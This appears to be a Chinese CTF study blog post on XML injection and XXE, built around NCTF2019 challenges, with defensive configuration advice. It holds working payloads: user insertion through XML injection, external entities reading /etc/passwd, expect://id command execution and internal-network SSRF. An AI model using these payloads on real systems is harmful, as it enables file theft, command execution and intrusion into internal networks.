XML注入

复现使用的题目为buuoj中的[NCTF2019]Fake XML cookbook

1和[NCTF2019]True XML cookbook

1

参考链接为https://xz.aliyun.com/t/6887#toc-5，写的很全面，写的比我好多了，本篇是用于个人整理知识，同时分享一些心得。

XML介绍

XML和html相对，xml专注于数据格式的传输，而html专注于数据的展示。

基本格式

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->

<bookstore>                                                 <!--根元素-->

<book category="COOKING">        <!--bookstore的子元素，category为属性-->

<title>Everyday Italian</title>           <!--book的子元素，lang为属性-->

<author>Giada De Laurentiis</author>                  <!--book的子元素-->

<year>2005</year>                                     <!--book的子元素-->

<price>30.00</price>                                  <!--book的子元素-->

</book>                                                 <!--book的结束-->

</bookstore>                                       <!--bookstore的结束-->

这份xml文件用于记录的元素为bookstore，这个元素有一个子元素，为book，book有几个属性。

xml作为一种标记语言，需要注意的是闭合框。这些框说明了各个元素的逻辑关系。

DTD

文件的规范，约束文件的内容。

<?xml version="1.0"?>

<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->

<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->

<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->

<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->

<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->

<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

]>

<note>

<to>Y0u</to>

<from>@re</from>

<head>v3ry</head>

<body>g00d!</body>

</note>

有点像提前交代了一些信息，同时对文件内容做补充。

DTD可以从外部引用

本地

<!DOCTYPE 根元素名称 SYSTEM "dtd路径">

网络

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

注入

插入用户

<?xml version="1.0" encoding="utf-8"?>

<manager>

    <admin id="1">

    <username>admin</username>

    <password>admin</password>

    </admin>

    <admin id="2">

    <username>root</username>

    <password>root</password>

    </admin>

</manager>

在这个地方，如果username或password字段是可控的，就可以通过闭合尖括号来直接插入用户

假如password字段可控：

<manager>

    <admin id="1">

    <username>admin</username>

    <password>【admin</password>

    </admin>

    <admin id="666">

    <username>hacker</username>

    <password>haha</password>

    </admin>】

    <admin id="2">

    <username>root</username>

    <password>root</password>

    </admin>

</manager>

这里方括号内的是我们注入的部分，可以看到我们直接硬填了一个用户进入数据库。

XML外部实体注入（XXE）

任意文件读取

这里需要用到刚刚所说的外部引用DTD。我们将想要读的文件作为外部DTD读入，然后在回显部位选择DTD元素的地址，即可拿到想要的文件内容。

E.g

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE hack [

<!ENTITY haha SYSTEM  "file:///etc/passwd">

]>

<user>

  <username>&haha;</username>

  <password>hack</password>

</user>

我们声明了一个实体，名字叫做haha，然后这个实体的内容在这个/etc/passwd里捏哈哈(￣y▽￣)╭ Ohohoho.....

然后这个例子中，如果你登陆失败，他是会回显，【username】登陆失败。所以我们在这个username字段选择这个haha实体的位置，然后就会回显出我们要的内容了。

命令执行

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "expect://id" >]>

<root>

<name>&xxe;</name>

</root>

使用了expect伪协议，需要php带有相关扩展。

内网攻击

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>

<root>

<name>&xxe;</name>

</root>

可以从解析xml的主机中转，向内网的机器发请求。

这里可以从主机的这两个文件探测内网信息

/etc/hosts      静态映射

/proc/net/arp   arp表

防御措施

这里也搬一下大哥的，感觉简单实用

  1. 通过开发语言的方法，禁止使用外部实体

    php:
libxml_disable_entity_loader(true);

java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

python:

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  1. 过滤用户提交数据

    关键字，如<!DOCTYPE 和 <!ENTITY

  2. 不允许XML文件含有自行定义的DTD

    即不准中间定义，感觉这个方法是最好的，只允许从特定的文件读取DTD，不允许中间插入定义，一了百了。

XML注入的更多相关文章

  1. XML注入介绍--XXE，XEE,xpath等

    XML注入指在请求的XML中插入攻击利用代码.根据不同的场景,可能会形成以下的漏洞形式: (1)XEE ----xml entity xpansion(xml实体膨胀,用于dos) 具体介绍:http ...

  2. WEB安全第五篇--其他注入的奇技淫巧：XML注入、Xpath注入、Json注入、CRLF注入

    零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...

  3. 【网络安全】SQL注入、XML注入、JSON注入和CRLF注入科普文

    目录 SQL注入 一些寻找SQL漏洞的方法 防御SQL注入 SQL注入相关的优秀博客 XML注入 什么是XML注入 预防XML注入 JSON注入 什么是JSON注入 JSON注入的防御 CRLF注入 ...

  4. WEB安全——XML注入

    浅析XML注入 认识XML DTD XML注入 XPath注入 XSL和XSLT注入 前言前段时间学习了.net,通过更改XML让连接数据库变得更方便,简单易懂,上手无压力,便对XML注入这块挺感兴趣 ...

  5. Apache Cocoon XML注入 [CVE-2020-11991]

    受影响版本: Apache Cocoon <= 2.1.x 程序使用了StreamGenerator这个方法时,解析从外部请求的xml数据包未做相关的限制,恶意用户就可以构造任意的xml表达式, ...

  6. phpshe xml注入

    *php商城系统 xml注入* **页面样式* *Xml原理参考:* https://www.cnblogs.com/20175211lyz/p/11413335.html *漏洞函数simplexm ...

  7. XML注入（XXE）

    XML所有元素都必须要有一个结束标志 大小写敏感 所有元素嵌套必须正确 所有的XML文档都必须要有一个根标志 XML包括XML声明,DTD文档类型定义(可选),文档元素 DTD即文档类型定义,用来为X ...

  8. spring xml 注入 map 时 map 标签报错

    如图所示: 在XML配置文件中并没有问题,问题出在实体类,在类中属性 maps 用 Map定义即可,用HashMap定义就会出现如上错误 K-I-N-G-D-O-M

  9. Spring基于xml注入bean的几种方式？

    (1)Set方法注入: (2)构造器注入:①通过index设置参数的位置:②通过type设置参数类型: (3)静态工厂注入: (4)实例工厂:

  10. 从 Spring 2.5 开始就可以使用注解来配置依赖注入，而不是采用 XML 来描述一个 bean。

    1.在 XML 注入之前进行注解注入,因此后者可以被前者重写. 2.在默认情况下注解在 Spring 容器中不打开,需要配置启动. <beans xmlns="http://www.s ...

随机推荐

  1. 【攻防世界】warmup

    warmup (反序列化与sql注入) 题目来源 攻防世界 NO.GFSJ0999 题目描述 题目提示:平平无奇的输入框 打开网址页面如下,没有有用信息. 题目给了附件,直接下载,得到源码如下: in ...

  2. Hi3516EV200 编译环境配置及交叉编译软件包

    基础信息 OS: Ubuntu 16.04 xenial SDK 版本: Hi3516EV200R001C01SPC012 - Hi3516EV200_SDK_V1.0.1.1 SDK 包路径:Hi3 ...

  3. Elasticsearch搜索引擎学习笔记（三）

    索引的一些操作 集群健康 GET /_cluster/health 创建索引 PUT /index_test { "settings": { "index": ...

  4. 互联网寒冬下，如何写好一份.NET求职简历？附带简洁免费的简历模板！！！

    前言 在当今互联网行业的寒冬时期,每一位求职者都面临着更为激烈的竞争环境,如何在众多.NET候选人中脱颖而出,成为企业心仪的对象,用心准备一份简历显得尤为重要.简历不仅是个人职业经历的简要概述,更是向 ...

  5. 红日复现为什么失败之struct-046流量分析加msf特征总结

    struts2漏洞 一.指纹识别 s2的url路径组成(详见struts.xml配置文件):name工程名+namespace命名空间+atcion名称+extends拓展名 部署在根目录下,工程名可 ...

  6. Linux 下载安装CUDA Toolkit 12.8，配置Nvidia Driver

    cuda下载地址 https://developer.nvidia.com/cuda-downloads nvidia-smi Mon Mar 17 02:08:35 2025 +---------- ...

  7. docker部署ceph集群

    1. 创建Ceph专用网络 sudo docker network create --driver bridge --subnet 172.20.0.0/16 ceph-network 2. 拉取搭建 ...

  8. MAMP使用简单教程

    这个配置,没有域名访问,平时可以放些demo使用,如果需要域名访问请看MAMP PRO教程 启用服务 打开Launchpad中灰色的MAMP,进入界面后,点击Preferences,然后只需拿着鼠标点 ...

  9. Oracle中IMP导入数据时提示字符集不一致解决

     生产环境中经常使用到Oracle的IMP导入和EXP导出来功能来达到数据迁移的目的,通常在源数据库和目标数据库中查询字符集是否致, 测试环境中导入IMP导入报错信息如下: 导入命令如下: [orac ...

  10. Netty源码—4.客户端接入流程

    大纲 1.关于Netty客户端连接接入问题整理 2.Reactor线程模型和服务端启动流程 3.Netty新连接接入的整体处理逻辑 4.新连接接入之检测新连接 5.新连接接入之创建NioSocketC ...